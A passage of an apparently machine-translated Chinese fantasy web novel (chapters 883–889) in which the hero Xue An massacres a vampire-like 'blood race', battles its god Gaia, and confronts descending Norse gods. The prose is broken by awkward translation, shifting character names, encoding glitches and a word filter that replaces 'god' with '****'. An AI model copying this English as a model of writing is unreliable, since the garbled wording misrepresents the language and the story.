    "Of course it matters, because all I have to do is to wipe out all of you arrogant guys!"


    Rosalind is not a fool, and her thoughts turned, she also understood what was going on, and she couldn''t help but exclaim.


    "Are you for those blood sacrifice creatures?"


    "To be precise, it is for the blood debt that your blood race has owed for thousands of years!"


    Rosalind''s heart was shaken, but the arrogance of being a blood race still made her sneer: "Human race powerhouse, you have slaughtered the outer blood world, do you still want to destroy the inner blood world as well?"


    The tone of this statement was full of sarcasm and unbelief.


    Because it is different from the outer blood world, this inner blood world not only has a much larger area, but the blood family in it is much more powerful than the outside.


    Although Xue An slaughtered the ancestors of the three major families, it didn''t mean that he could be the opponent of this entire inner blood world.


    Xue An laughed when he heard the words, then raised his eyes and glanced at Rosalind in the blood shadow, and said in a cold tone: "This is a ghost of you!"


    With Rosalind''s strength, coming to this inner blood realm would naturally not need the body to descend, and sending a clone virtual image could solve most of the problems.


    So Rosalind said calmly: "Yes!"


    "Well, don''t you believe it? Then I will let you see with your own eyes how I destroyed your world!"


    Stop talking.


    Xue An stepped forward, and red and white flames suddenly appeared in his pupils.


    Rosalind didn''t care at first, and even thought that Xue An was just talking big, and was about to make a mockery, but when she saw the red and white flames in Xue An''s eyes, she couldn''t help but scream.


    "How is it possible! How can you have such a **** flame?"


    Xue An smiled coldly, "Why is it impossible?"


    Rosalind was shaking all over at the moment.


    No wonder she was so scared, it was because the two flames that Xue An possessed were simply too amazing.


    Even though it was just a clone of Divine Mind, Rosalind could still feel the powerful deterrence brought by this flame.


    At this moment, Xue An looked around the audience and said lightly: "The dust returns to the dust to the earth. The sins you have owed for thousands of years are now time to pay! Today, I am burning this realm and washing the world with blood. !"


    After all, the red and white flames sprayed out from Xue An''s pupils, turning into an endless sea of ??fire, completely covering the entire sky.


    Under such power.


    All the blood races roared in horror.


    "No!"


    "Run, this is a devil!"


    "My lord is forgiving, I have never killed innocent creatures!"


    The sound of begging for mercy, hysterical anger, and cries mixed together, making this city of Yinuo completely boiling.


    The leader of the secret party, Ellard, also watched this scene sluggishly, "Is this... your true strength?"


    Rosalind couldn''t believe her eyes even more at the moment, and then roared with extreme anger: "Human race powerhouse, how is this different from our blood race slaughtering other races?"


    "It''s no different!" Xue An said lightly.


    "But in my opinion, if you want to stop evil, it must be worse than evil! Because being a good person will live a long time in these heavens and all realms!"


    After all, Xue An stood in the sky of fire with a finger, "Bloodbath this world!"


    Give an order.


    The sky was full of fire and rain.


    Those blood races who are usually brutal and tyrannical are all transformed into lambs to be slaughtered at this moment.


    The flame is like a tarsal maggot, contaminated with these blood races, causing them to transform into blood beads in their struggle and screams.


    But those blood races who hadn''t been tainted by blood were unscathed.


    It''s just that the number of these blood races is too small.


    There are only a few secret parties headed by Ellard.


    In an instant, Yinuo City was wiped out.


    Then the sky full of fire became a prairie fire, spreading at an extremely fast speed.


    But in the blink of an eye, this inner blood world was completely turned into a sea of ??flames.

 Chapter 884： Ring the assembly bell

    Rosalind stared at all this in a daze, her horror made her unable to speak.


    At this moment, Xue An''s voice rang in her ears.


    "After you go back, remember to tell the other elders, then... it''s your core blood world''s turn!"


    Rosalind was shocked and was about to speak.


    Xue An snapped his fingers.


    This avatar of her was crushed.


    And at the moment. In the entire Inno City, the only people who can stand are the blood races such as Elad and Asihall.


    The rest are blood drops floating in the sky.


    The whole blood race in the inner blood realm was almost completely wiped out by Xue An, and they were all refined into blood beads.


    Xue An waved casually.


    A huge opening appeared in the mustard ring, and endless blood beads poured in frantically.


    After a while, the whole world will be harvested.


    After doing all this, Xue An released the hundreds of light groups in the Fubao Xiaolou.


    What''s trapped here are the hundreds of millions of creatures captured by the blood race with secret techniques.


    Xue An directly released these creatures back to their respective secret realms.


    Because the blood clan controlling them has been destroyed by Xue An, these secret realms will become independent individuals in the future, and there will be no such situation of being slaughtered at will.


    After doing all this, Xue An fell to the ground and said lightly to everyone.


    "Be prepared to enter the core blood world soon!"


    After that, Xue An turned and left.


    Ellard also wakes up from shock at this time.


    He knew from the beginning that Xue An might be the one who slaughtered the outer blood world.


    After confirming his conjecture later, he wanted Xue An to stop the blood sacrifice.


    But he never expected that Xue An would actually play such a big game.


    He even washed the blood in the inner blood world.


    So at this moment, he was extremely shocked.


    And when he heard what Xue An said, his eyes couldn''t help showing a deep worry.


    Because what Xue An is doing now will definitely offend the Senate Council.


    At that time, the veterans who have existed since the birth of the blood race will definitely take action.


    This matter will also fall into an uncontrollable situation.


    It seems that he sensed the anxiety in Ellard''s heart.


    On the side, Hall patted Ellard''s shoulder carelessly.


    "Okay, don''t worry about adults. I was just like you before. I think what an adult says sounds like a fantasy, it''s impossible to achieve! But now my face is going to be beaten and swollen! So never Try to guess the adult��s intentions. What he thinks is not something we can understand! We just need to follow the adult honestly!"


    Hearing the words, Ellard took a deep look at Xue An''s back, and finally lowered his head.


    Next, Ellard led the secret party to deal with the aftermath.


    Because the blood clan in the entire inner blood world is almost 90% less.


    So the whole world became empty.


    Moreover, those who were slaughtered by Xue An were brutal blood tribes with blood on their hands.


    All this time, the secret party encountered almost no resistance.


    Soon the remaining blood races in this inner blood world were united together.


    And just when Ellard was rebuilding the world.


    In that core blood world, a castle located on a high mountain.


    Rosalind opened her eyes suddenly, her face full of shock.


    Her clone was smashed by Xue An''s finger, but the images she saw were transmitted back by him intact.


    Rosalind was naturally shocked.


    He actually used his own power to destroy both blood realms, and even threatened to enter the core blood realm in the end.


    If such a person is not blocked, he will definitely become a confidant of the blood race.


    So Rosalind just pondered for a moment, and immediately got up, shook her figure, and disappeared into the castle.


    Wait again.


    She has come to an extremely magnificent hall in the center of the core blood world.


    This core blood realm is different from the two outer blood realms.


    First, the area is much smaller.


    But this is full of extremely rich blood energy.


    Moreover, those who can survive in it are at least the strong blood clan above the second generation.


    But it is the Senate Council, which is located in the center of this core blood world, that can really hold the highest power of the entire blood clan.


    We must know that although the blood race is extremely decayed, there are still hundreds of billions of large races.


    But those who can become the veterans of the blood clan can only chat with a dozen people.


    It can be said that these blood clan elders are the highest decision makers of the blood clan when the Blood God Realm is hidden.


    When Rosalind''s figure appeared in this council hall.


    The blood family on duty hurriedly saluted.


    "Dear Elder Rosa, is there anything wrong?"


    Rosalind said with a solemn expression, "Ring the assembly bell!"


    The blood family on duty was stunned when he heard the words, "What?"


    "Ring the assembly bell and call all the blood veterans to come for a meeting!"


    "but����."


    The blood clan on duty still hesitated.


    Because this assembly bell is not to be ringed casually, it can be ringed only when something important to the blood race has happened.


    In fact, since the establishment of this set of bells, it has only rang a few times.


    But at this time Rosalind''s last trace of patience was also wiped away, and she frowned and waved her hand violently.


    This blood race, who was already the pinnacle of the second generation, was blasted out.


    Then she took a deep breath, and stepped forward to pick up the tens of thousands of kilograms of bell hammer, and aimed it at the collective bell with hundreds of feet high and engraved with countless magic runes on it.


    Hum!


    A metal roar resounded everywhere.


    The sound waves shook the void at a speed visible to the naked eye, spreading the entire core blood realm through space.


    Then just a few breaths.


    Seeing the blood and the brilliance in the parliament hall.


    More than a dozen blood elders appeared collectively.


    An elder exclaimed: "Why ring the assembly bell?"


    One of the elders saw Rosalind and frowned, "Rosalind, why did you use the assembly clock to summon me to wait? What happened?"


    Rosalind looked around, and then said coldly: "One of my clones has just been wiped out in the inner blood world!"


    These words made many elders look at each other, and then a grim-faced old man sneered.


    "Rosalind, did you call us all because of such a small matter?"


    Rosalind glanced at the talking veteran coldly, and said lightly: "Lambert, if you dare to interrupt me, then I will let you understand what it means to offend a veteran!"


    "You..." Lambert was full of anger, just about to speak.


    An elder on the side said solemnly: "Well, Lambert, don''t talk yet! Rosalind, what happened to make you so cautious?"


    Rosalind took a deep breath and said in a tone of fear: "Someone... slaughtered all the inner and outer blood realms!"

 Chapter 885： A powerful enemy is approaching, the blood **** descends

    "What?" These veterans of the blood clan were all shocked when they heard this.


    The veteran of the blood clan asked in a deep voice: "Rosalind, are you true?"


    Rosalind smiled bitterly: "How dare I make a joke about this kind of thing?"


    "Then who is this person? Could it be from the heavens?" a veteran of the blood clan said in a deep voice.


    His words made all the veterans look disgusted.


    Rosalind shook her head, "It''s not the **** of heaven, but a human youth!"


    "Human race boy?"


    The blood veterans looked at each other, and their faces all showed unbelief.


    Especially Lambert, who has always been at odds with Rosalind, sneered at this moment: "Rosalind, you shouldn''t be scared by something! A lowly human teenager can scare you into It looks like..."


    The voice just fell.


    Rosalind''s eyes were full of coldness, and a blood shadow hit Lambert directly, knocking him out.


    Lambert could not stop until he touched the wall of the conference hall.


    "Rosalind, what do you want to do?" Lambert was furious.


    Rosalind said indifferently: "Lambert, what I just used is the power of a clone of me. Even if you are caught off guard, you will suffer a loss, but the human youth just broke me with a single finger. The clone of, and I saw him burn the sky with the fire of the worldless god, refining an entire inner blood world! Hearing this, do you... dare to be so arrogant?"


    After hearing Rosalind''s words, Lambert looked gloomy, but he did not dare to talk nonsense.


    Then Rosalind looked around the audience and said coldly: "And this person said clearly, next, he will deal with our core blood world!"


    "Arrogant!"


    "If he really dares to come, I will definitely let him come and go!"


    These veterans of the blood clan were all very angry.


    But Rosalind always felt heavy.


    In the inner blood world, what Xue An did gave her too much shock.


    So much so that she had huge doubts about whether the core blood world could be held.


    If... we veterans joining hands are not his opponents!


    Thinking of this, Rosalind couldn''t help but shudder.


    That entire blood clan, can be regarded as having suffered a disaster.


    But just when Rosalind felt deeply worried about the future of the blood race.


    The Tongtian Tower, located in the center of the Conference Hall, gradually glowed with blood.


    The veterans of the blood clan present all noticed this scene. They were taken aback for a moment, and then they all showed ecstasy and excitement.


    "Tongtian Tower has moved!"


    "God, the Blood God Realm that has been silent for thousands of years finally has a response!"


    Some blood elders even cried with joy.


    The reason why this group of blood elders are so excited, and even into a state of madness.


    It''s entirely because they have waited too long for this moment.


    Tongtian Tower is a ladder connecting the core blood realm to the blood **** realm, the blood soul center.


    Thousands of years ago, the blood gods of the Blood God Realm descended through this tower.


    And many elders in the core blood realm can also enter the blood **** realm through this tower.


    But just a thousand years ago, the Blood God Realm suddenly closed.


    No matter how the elders of the core blood realm prayed, the blood **** realm did not respond.


    This situation has continued for thousands of years.


    Even the veterans of the blood clan are gradually desperate, thinking that the blood **** adults have abandoned the blood clan.


    Unexpectedly, just today, the Tongtian Tower miraculously showed blood.


    This is a sign before the blood **** descends.


    Just when these elders were very excited.


    A powerful blood shadow suddenly appeared in midair.


    As much as possible, these arrogant veterans of the blood clan crawled on the ground, tremblingly shouting: "Welcome to the blood god!"


    There was a silence in the blood shadow, and then a cold voice came out.


    "My name is Qianzhe!"


    This group of blood elders was shocked, and then all their faces showed extremely excited expressions.


    It was actually a Thousand Sting Blood God!


    This is the top ten powerful gods in the Blood God Realm!


    Unexpectedly, this time he actually came in person.


    "Extremely honorable Thousand Sting-sama, what oracle do you have when you come here!" A veteran of the blood clan shouted respectfully.


    "A powerful enemy is approaching, and the blood is at stake. I am here this time, all for this!"


    A powerful enemy is approaching and is at stake!


    These words made the complexion of the whole blood race pale.


    To make Master Qianzhe call it a powerful enemy, and even threaten the existence of the entire blood clan, how powerful should the opponent be?


    At this time, Qianzhe looked at Rosalind who was kneeling on the ground, "Elder Rosa, have the two outer blood worlds been slaughtered by one person?"


    Rosalind was shocked, "Yes!"


    At this time, all the blood clan elders all understood.


    Could it be said that the Human Race boy is the powerful enemy the Lord God General said?


    "What else did he say?"


    "Master Qianzhe, he once said that the next step is to deal with our core blood world!"


    "Very good! This matter is not trivial. Even if it is me, I can''t solve it alone. You must obey my orders and not have the slightest negligence and arrogance! Understand?" Qianzhe shouted coldly.


    These veterans of the blood clan shook together, "Yes!"


    quickly.


    The entire core blood world boiled.


    All the blood races began to arrange in accordance with Qianzhe''s instructions.


    And Qianzhe sat on the throne of the discussion hall, and Xue An''s virtual image flashed through his divine thoughts.


    Then a cold smile appeared on the corner of his mouth.


    "Xue An, you are too arrogant, Guiyi Blood Net Mountain was destroyed by you, and even my junior brother Duankong Blood God died in your hands!"


    "You dare to come to my blood world, destroy my clone, and slaughter the blood clan, but you didn''t expect it, what you wait in front of you will be a mortal situation!"


    "Because the gods are coming the gods will wake up! I want to see how much more wind and waves you can make in this situation!"


    Speaking of this, Qianzhe smiled gloomily.


    As if in response to his laughter, the light of blood was also trembling slightly on the tower above the sky.


    Just when the atmosphere of the entire core blood world gradually became weird and solemn.


    Xue Anzheng and An Yan counted the gains during this time.


    Looking at the blood beads that almost occupied most of the mustard seed ring''s space, An Yan couldn''t help but exclaimed: "Husband, how come you got so many blood beads?"


    Since reaching the Blood Realm, Xue An was worried about Yan''er''s safety, so she kept her and her two daughters in the Fubao Xiaolou, until now the situation is stable, Xue An let her out.


    "Hey, almost all the blood races in the two blood worlds are here, and they are naturally abundant!" Xue An smiled faintly.


    An Yan was a little worried, "But so many blood beads...When will I have to eat it!"

 Chapter 886： Before and after

    Xue An laughed dumbly, and patted An Yan''s head lightly, "Little fool, you were allowed to swallow blood beads because there was no other way. Of course you won''t do that anymore. After the blood is completely eliminated, I will refine a pill for you to change your life against the sky, so that you can break the seal!"


    "Hmm!"


    At this moment Elad walked in.


    "My lord, the affairs of this world have been handled!"


    Xue An nodded and said lightly: "Okay, I get it! You go down first!"


    Ellard hesitated to speak and stopped, but finally bowed his head and responded, "Yes!"


    Then turned and left.


    At this time, Xue An turned his head and smiled at An Yan, "Yan''er, go back to the Fubao Xiaolou, wait until I slaughter all the blood races, you come out again!"


    "But I don''t worry about you..." An Yan said worriedly.


    This is not to say that the previous simple dealing with a certain school or a certain enemy.


    What we are dealing with now is an entire ethnic group, even an entire world!


    Xue An smiled faintly, and gently squeezed An Yan''s face, "Okay, I will be careful, don''t worry!"


    An Yan wanted to say something again, but seeing Xue An''s determined expression on her face, she nodded obediently, "Hmm!"


    After all, An Yan returned to Fu Bao Xiaolou.


    Xue An stood up and walked outside the house.


    Elad, Aisi, Hall, Winnie and other secret parties are waiting for him outside.


    When they saw Xue An coming out, these people all bowed together, "My lord!"


    Xue An nodded, "You are good at taking care of this world, the core blood world, I can go alone!"


    These words made everyone who had already been gearing up and preparing to fight Xue An for a moment.


    Especially Elad, he said with some surprise: "My lord..."


    Xue An waved his hand, "I know what you want to say, but even if you follow me to the core blood world, you can''t help much. Instead, it''s hindering your hindrance. On the contrary, it is better to operate here and wait for me to return!"


    Seeing Xue An''s calm face and knowing that it would be useless to persuade him, Erad sighed and lowered his head.


    After this period of contact, Allard has a deep understanding of Xue An��s character.


    If he is looking for something, he will do it even if the sky collapses.


    Therefore, persuasion is useless at all.


    Aixi on the side was disappointed.


    This lady of the blood family, who has always been lawless, has a pathological worship of Xue An.


    If it weren''t for An Yan to appear later, she really wanted to strip herself clean and take the initiative to send it up.


    But I didn''t expect that after preparing for so long, Xue An finally let her look after the house.


    But even though she was not afraid, she still didn''t dare to defy Xue An''s words, so she could only lower her head with disappointment.


    Xue An looked around and smiled faintly, "Wait here, I''ll be back when I go!"


    After all, Xue An stepped forward, using his hand as a sword, and the sword cut the void.


    A huge portal took shape.


    Xue Anang entered and stepped into it.


    In a blink of an eye.


    Time and space recovered, the world was empty, and there was no trace of Xue An''s presence.


    Allard and the others looked at each other, and finally Allard said solemnly: "Let''s pass on the order, please follow the orders of the adults and wait for his return here!"


    "Yes!"


    And in the core blood world.


    Ripples appeared in the void.


    Then Xue An''s figure emerged.


    When he first came to this world, the powerful blood in the air made Xue An all raise his eyebrows slightly.


    Sure enough, it is the highest level of the blood clan.


    The blood energy contained here alone is enough to dignify all blood races.


    Then Xue An narrowed his eyes slightly.


    The intrepid spirit suddenly unfolded, detecting the surrounding world.


    But then.


    Xue An let out a whisper.


    "Huh! What the **** are these guys doing?"


    Because in Xue An''s spiritual thoughts, dozens of powerful blood lights are coming here.


    The nose is quite good. Did you find out when I got here?


    Xue An thought in his heart, without the slightest panic, but standing in the air waiting in time.


    After a while.


    Seeing more than a dozen blood lights flying in the sky, after standing still.


    It is the veterans of the blood family.


    And who is the woman standing in the front, not Rosalina?


    Xue An looked at the group of comers coldly, with no sorrow or joy, but he was ready for the war.


    But then, the actions of these blood clan elders made Xue An a little surprised.


    Seeing Rosalinna as the leader, the blood elders all bowed to Xue An.


    "Dear powerhouse, you are finally here, we have been waiting for a long time!"


    Xue An''s thoughts turned, his eyes narrowed slightly, and a powerful murderous aura fainted, and said coldly: "What do you mean?"


    I saw Rosarina stepping forward respectfully, "The strong, you don''t have to be surprised, we are not malicious! This is the case!"


    "After you slaughtered the two blood worlds and blasted one of my clones to pieces, I originally intended to retaliate! But when we returned to the meeting hall, we received the oracle."


    "Blood God passed the word and said that all this is our blood family''s own blame, and your actions are not excessive, and we are strictly required to respect you, otherwise the entire blood family will be in danger of overthrowing!"


    "The words of Lord Blood God shocked me! That''s why I have been waiting for your arrival, and want to apologize to you in person!"


    Speaking of this, Rosalena knelt down respectfully.


    As soon as she knelt, the blood elders behind her also knelt down.


    "Dear strong, please forgive me!"


    This scene was really beyond Xue An''s expectations.


    But immediately, Xue An''s expression grew colder and coldly said, "Do you think it will be enough to apologize? Haha, it is too simple for you to think!"


    Of course Xue An will not be shaken by the few apologies of these guys If these guys are forgiven by just a few apologies, then who should the souls who were killed by the blood clan go to reason?


    Upon hearing Xue An''s words, Rosalina raised her head with a wry smile on her face.


    "Dear strong man, we certainly don��t think about getting your forgiveness with just a few apologies! But this is a sincerity expressed by us! And the oracle said very clearly, let us see you , Be sure to apologize first, and then let you wait here, because Lord Blood God will come soon, and Lord Blood God will explain everything to you in person!"


    "Blood God?" Xue An''s heart moved slightly.


    "Yes! To be honest, our core blood realm has not contacted Lord Blood God for thousands of years. We didn''t expect Lord Blood God to issue an oracle in person this time, so naturally we dare not disobey!


    After that, Rosalina looked at Xue An with a look of hope, "Respected strong man, everything we say is the truth, if you don''t believe it, you can follow us to the conference hall to have a look!"


    Xue An glanced at the group of blood elders, and sneered in his heart.

 Chapter 887： Lord of the Blood God

    He didn''t even believe a word of what these blood races said.


    However, the coming of the blood **** these guys said made Xue An interested.


    In Xue An''s view, these guys are just delaying time, waiting for their blood **** to come down.


    Also good.


    When the time comes when the blood **** descends, I will slaughter you together.


    In this way, it''s even easier.


    Thinking of this, Xue An nodded slightly.


    "Okay! Then go take a look!"


    Rosalinna and other blood elders were overjoyed upon hearing this.


    "Dear strong, please follow me!"


    These elders led the way, and Xue An followed in a leisurely stroll.


    quickly.


    They came to the conference hall at the center of the core blood world.


    now.


    This conference hall is also very lively.


    Many servant blood races are busy going in and out.


    "The strong, we prepared a special banquet according to the habits of the human race, just to express the guilt of our elders!"


    Rosalina said with a smile, and then let Xue An into the meeting hall.


    As Rosarina said.


    An extremely rich banquet was placed in this conference hall.


    "The strong, please come to your seat!"


    Xue An was not polite.


    He wanted to see what these guys were going to do.


    So he sat in the upright position carelessly.


    After that, many ancestors of the blood clan separated.


    Rosarina filled a glass of wine herself.


    "Dear strong man, this glass of wine is considered to be our respect!"


    Xue An took it without comment, but did not drink, but quietly looked at Rosalina with a smile on her face.


    The atmosphere in the conference hall suddenly became a bit solemn.


    Until the smile on Rosalena''s face became a little stiff.


    Xue Ancai said lightly: "The wine is good!"


    With that, Xue An drank it all.


    These blood elders couldn''t help being a little moved.


    Because Xue An is equivalent to accepting the banquet alone in the enemy''s base camp, and drank a glass of wine very calmly.


    Not to mention anything else, just with such courage, it is enough to be admirable.


    And Xue An drank the wine, put the wine glass on the table, and said lightly: "Full!"


    There was an angry look in Rosalena''s eyes.


    She was an ancient blood clan that had survived for tens of thousands of years, but as a result, she was instigated by this young man as a servant, and her heart was naturally full of anger.


    But I thought of Lord Qianzhe''s orders.


    This Rosalina still forcibly endured her dissatisfaction and filled Xue An with wine again.


    Xue An raised his glass in his hand, looked around the audience and smiled faintly.


    "Don''t be so nervous, no matter how big the enemy is, now that he is at the wine table, he is a temporary friend!"


    When these blood elders who thought they were used to seeing the big scene faced Xue An''s eyes, they couldn''t help trembling in their hearts, and then all smiled and nodded in agreement.


    "Yeah yeah!"


    "That''s right! I toast you!"


    Next, the banquet and the banquet were scrambling, and the blood elders came forward to toast, and Xue An refused to refuse.


    But the atmosphere became more and more depressing.


    Three rounds of wine.


    Xue An was not drunk, and the more he drank, the brighter his eyes became.


    These blood elders began to wink at each other.


    Especially Rosalena, at this moment, she is extremely anxious.


    Why hasn''t Master Qianzhe appeared yet?


    Didn''t he say that as long as Xue An appeared in this realm, he would lead the gods to appear at most one or two hours?


    Therefore, Rosalina and other blood veterans will try their best to hold Xue An.


    But now that three or four hours have passed.


    There was still no movement, Rosarina was naturally very anxious.


    Xue An seemed to see this, but only smiled faintly, and continued to drink leisurely.


    at last.


    After a long while.


    Located on the Tongtian Tower in the center of the Conference Hall, the blood glow suddenly skyrocketed, and the majestic and terrifying momentum made the world of this core blood world pale.


    Rosalinna and many other blood veterans were overjoyed.


    Finally waiting!


    Then I saw in this **** light, a figure began to emerge.


    One, two, three...


    Rosalind was surprised to find out.


    This time, ten blood **** generals actually came.


    The Thousand Stings, who had dropped the oracle before, were at the forefront of the team.


    Under such a battle, Rosalind and many other veterans of the blood clan shuddered all over, all squatting on the ground.


    "Welcome all the gods to come!"


    No one responded.


    These gods and generals who are usually aloof all have a respectful look at this moment.


    After the figure appeared, he obediently stood on both sides with his hands down, as if to welcome the arrival of something more noble.


    Then, from the top of the towering sky-reaching tower, the void folded, revealing a ladder.


    And a figure wearing a blood cloak, whose face was also shrouded in blood, stepped down and walked slowly.


    This figure is not tall.


    There is no strong momentum.


    Can step down every step.


    The world will tremble lightly.


    As for all the blood races, the moment they felt the appearance of this figure, they all crawled on the ground, burying their heads deep in the mud.


    Some were even more excited and tearful.


    Because it came from the supreme faith of the blood race, known as the Lord of the Blood God of all origins!


    Gaia.


    Even thousands of years before the Blood God Realm was not closed, these blood races had not seen Gaia''s face in person for a long time.


    Unexpectedly, this time, he actually came personally.


    This time.


    All the blood races are determined in their hearts.


    Because Gaia is their faith, their ancestor.


    In their opinion, no one would be the opponent of their own Lord Lord.


    Even if the gods are here, it won''t work.


    But just in this atmosphere.


    Xue An still sat in a chair in his spare time, pouring and drinking.


    It''s as if the Gaia who stepped into the air doesn''t exist at all.


    now.


    Gaia appeared, and then raised his hand, "Get up all!"


    The voice was indifferent, but with the supreme majesty that can not be disobeyed.


    These blood elders all got up stood aside respectfully.


    The situation became very clear in an instant.


    On one side is the blood tribe with overwhelming blood and flames, and on the other side is Xue An who drinks himself after sitting alone at the banquet.


    This weird confrontation made the audience deadly silent.


    Then I heard Gaia faintly said: "Xue An, I''m very curious how courageous you are, how dare you come to my blood world alone to cause chaos, and even slaughter my blood? Do you really think that I can win with you alone?"


    Xue An raised his eyes and glanced at the menacing kinsmen on the opposite side, then focused all his attention on Gaia and smiled faintly.


    "A pseudo-god whose godhead is already incomplete, dare to speak to me in this tone?"


    These words came out.


    The blood glow shrouded Gaia''s body flickered abruptly, causing the world to shake.

 Chapter 888： Heavenly Gods

    Then I heard him sneer and said: "I really become more curious, what is your origin, you know so much!"


    Xue An leaned back on the chair comfortably, but did not answer his words, but looked at Rosalinna who was aside, "Is this why you tried your best to delay time?"


    Rosalina snorted coldly, "Xue An, you are so arrogant until you die, you..."


    The voice did not fall.


    Xue An waved his hand sharply.


    The wine glass in his hand disappeared instantly, and when it reappeared, it rushed in front of Rosalina and smashed the bridge of her nose within a short period of time.


    Although as a powerful veteran of the blood clan, this injury is not serious.


    But Xue An''s hand was still too cruel.


    The bridge of the nose was smashed in.


    The severe pain caused Rosalena to scream while holding her nose.


    And seeing that Xue An actually dared to teach his blood in front of him, Gaia was still impatiently angry.


    "Xue An, don''t be too arrogant! I am the Lord of the Blood God. Even if you are powerful, you need to maintain your due respect for an existence like me!"


    Xue An laughed, and then stretched out three fingers.


    "I have come here for only three purposes. After I finish, I will leave!"


    "First, even though your godhead is incomplete, you are also the ancestor of the blood race anyway, so you must know who participated in the battle of the earth before ten thousand years ago. This must be told to me!"


    "Secondly, you still have your subordinates who are self-destructive, condensed into blood beads by me, and I can let your spirits go!"


    "Thirdly, you will take the Hong Gu oath at the price of the soul, and you will not slaughter any creatures at will!"


    "Do these three points, I can let you go!"


    "Arrogant!"


    "court death!"


    As soon as Xue An''s words fell, these rants resounded throughout the conference hall.


    God Lord Gaia even smirked, "Xue An, I finally understand what your origins are!"


    "You are actually from that place, and if I guess right, you should be a Chinese!"


    Xue An nodded, "The answer is correct, but unfortunately there is no reward!"


    "Humph!" Gaia snorted coldly, and then said gloomily: "Xue An, I admit that your strength is indeed good, and it is even enough to threaten my existence! But if you want to investigate the incident ten thousand years ago, I advise you to save yourself worry!"


    "Because the people who shot are among the heavens and worlds, no one can''t afford it!"


    When talking about this, Gaia''s tone could not help but bring a bit of deep fear.


    Xue An laughed when he heard the words, "No one can''t afford to offend? Ha ha, in my eyes, no one can offend! Because no one is greater than me!"


    This remark caused a low laughter, thinking that Xue An was purely blowing the atmosphere.


    Gaia even sneered: "Xue An, sometimes I really admire your courage, but sometimes courage does not represent strength!"


    "Good point!" Xue An applauded lightly, and then said lightly: "So, don''t you agree with these three points?"


    Gaia hasn''t spoken yet.


    Thousand Sting, who was the first behind him, could no longer hold back, and said in a cold tone: "Xue An, you are already dead and you don''t know it yet. You dare to make these requests. It''s really funny. !"


    boom!


    The voice just fell.


    Xue An who was sitting there suddenly disappeared, and then Xue An''s figure appeared behind the thousand stings and blasted out a punch.


    Directly exploded the body of this thousand stings into blood fog.


    And Xue An lightly said: "Since I disagree, let me harvest one by one!"


    "kill him!"


    Gaia roared.


    The gods and generals and all the blood races used their strongest killer moves together.


    It was Gaia who also exhausted all his blood, and blasted a blood claw.


    But as Xue An said, how could he, who is now incomplete, be the opponent of Xue An, who is already a half-step true immortal?


    Facing these aggressive bombardments.


    Xue An''s face was cold, without any tricks, he directly shook his palms into fists, and blasted out one after another.


    Bang bang bang.


    Under Xue An''s iron fist, these blood races began to burst one by one.


    In an instant.


    All the blood gods and the blood elders were all bombed by Xue Ansheng.


    Even if these blood races can be reborn, such an injury requires at least a cup of tea to recover.


    Then Xue An looked at Gaia who was standing in the distance, trembling, and smiled.


    "The game has just started, since you don''t say anything, then I will hit you and say it!"


    After all, Xue An''s figure shook, and instantly appeared in front of Gaia, raising his fist and banging.


    This **** Gaia was scared to death by Xue An''s speed, but he was also a **** anyway, so he managed to avoid the vital points.


    But it is beyond reach.


    Still directly exploded half of his body.


    Gaia screamed, then screamed, "You guys haven''t appeared yet, do you have to wait until I am killed by him?"


    "Is there a helper?" Xue An was startled slightly, but still licked his lips and said with a hint of excitement.


    At this moment.


    Seeing the dome of this conference hall collapsed and turned into nothingness.


    Then from the top of the sky dome.


    A bright light projected directly down, shining in the air.


    Immediately after.


    In this light, a strong and desperate momentum began to gradually emerge.


    This momentum came out.


    Even the space couldn''t hold it, and it began to crack.


    Xue An couldn''t help but congealed.


    This kind of power, could it be.......


    Seemingly aware of Xue An''s doubts, Gaia laughed arrogantly.


    "Xue An, do you really think I don''t know how powerful you are? The reason why you are dragged here is to wait for the arrival of the gods of the heavens!"


    The gods of heaven.


    These simple four words represent unfathomable strength.


    It was Xue An, whose eyes grew cold.


    at this time.


    He only heard a voice with a hint of laziness coming from the light.


    "Xue An, even I have heard of your recent deeds, and you are proud to let me go out and deal with you personally!"


    With the voice I saw it from the light.


    A team began to emerge.


    I saw a bare-chested blond man riding a huge wild boar with golden mane and holding a victory sword.


    And beside him, there was another frost giant who was as tall as a mountain.


    Not only that, behind the team, there are countless soldiers wearing ancient Roman armor and holding spears.


    But at the front of the team, there is a huge sea snake.


    On top of Sea Snake''s head, there was a very handsome man sitting.


    The man was wearing only one boot and his face was arrogant.


    Xue An stared at the group of people, and after a while he breathed out softly.


    "Are they the Nordic gods?"

 Chapter 889： Under the Kingdom of God, Xue An killed God

    It was the gods from Norse mythology and legends that came.


    is the sun **** Frey in Norse mythology who is riding a wild boar holding a victory sword.


    Next to him is the frost giant of the giant clan.


    And the sea snake at the front is the famous snake Yemengade.


    And sitting on the head of the snake is Vidal, the son of the Norse king.


    I saw Vidal looking at Xue An with a playful gaze, and then said lightly: "I''m curious, isn''t Fang Tiandi already a Jedi? How come there is a strong man like you again? Or the Chinese back then. The inheritance has not been cut off?"


    Xue An did not answer his words, but stared coldly at the son of the **** king.


    "No wonder all of your Nordic gods disappeared after the dusk of the gods! They all fled to heaven!"


    Vidal laughed loudly, "Twilight of the gods? That''s just saying goodbye to the one outside!"


    "In this way, in the original battle of the earth, your Nordic gods also participated in the massacre of the Chinese, or...you have also been running dogs of those foreign races?" Xue An asked with awe-inspiring killing intent as his eyes grew cold.


    Xue An suddenly understood many things from the moment he first saw these Nordic gods.


    For example, why did Gaia, the lord of the blood god, collude with the Norse God Court.


    For example, why do these guys team up to set up a game to deal with themselves!


    And the Nordic gods suddenly disappeared collectively. Only the forest goddess Cloris escaped by chance, but the godhead was shattered, and he entered the night elves territory in desperation and became the mother **** of the night elves in London.


    The root of all this must be related to the earth war ten thousand years ago.


    The only reasonable explanation is that these gods have taken refuge in those empty tribes and become running dogs of the outside world.


    As expected.


    After hearing these words from Xue An, Vidal, the son of the King of God, gradually narrowed his smile and said lightly.


    "It seems that we really underestimated you, Xue An, you are right. At the beginning, our Norse Court was a man who shook the world!"


    Xue An nodded, killing intent in his eyes gradually burning, "Very good! Because of your frankness, I will give you a happy moment!"


    "Hahahahaha! Xue An, you are really arrogant!" Vidal raised his eyes to the sky and laughed, then suddenly raised his eyes and stared at Xue An.


    "But do you know why we are waiting for you here?"


    "It''s because the adults have ordered me to wait to closely monitor your Chinese people to see if there will be a new born strong person. If we find out, kill it!"


    "To tell you the truth, there have been many powerful Chinese people who have died in our hands for thousands of years! Some of them are even more arrogant than you! But in the end, their bodies are turned into powder, and their souls become The best spoils of our gods!"


    boom!


    Xue An��s surrounding space suddenly showed cracks in his debut.


